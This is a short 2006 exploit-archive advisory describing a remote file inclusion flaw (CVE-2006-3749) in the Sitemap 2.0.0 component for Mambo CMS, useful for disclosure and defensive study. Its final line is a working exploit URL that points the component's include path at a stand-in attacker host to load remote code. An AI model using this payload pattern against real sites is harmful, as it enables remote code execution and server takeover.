Mambo Component Sitemap 2.0.0 - Remote File Inclusion

Author: Matdhule
type: webapps
platform: php
port: 
date_added: 2006-07-16  
date_updated:   
verified: 1  
codes: OSVDB-27423;CVE-2006-3749  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 2028.txt  

# Sitemap 2.0.0 for Mambo 4.5.1 CMS

Author          : Ahmad Maulana a.k.a Matdhule
Date            : July 12th 2006
Location        : Indonesia, Jakarta
Web             : http://advisories.echo.or.id/adv/adv38-matdhule-2006.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
------------------------------------------------------------------------

Application    : Sitemap 2.0.0 for Mambo 4.5.1 CMS
Version        : Sitemap 2.0.0
URL        : http://mamboxchange.com/frs/download.php/6463/sitemap20.zip

Exploit:
http://[target]/[path]/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://attacker.com/evil.txt?

# milw0rm.com [2006-07-17]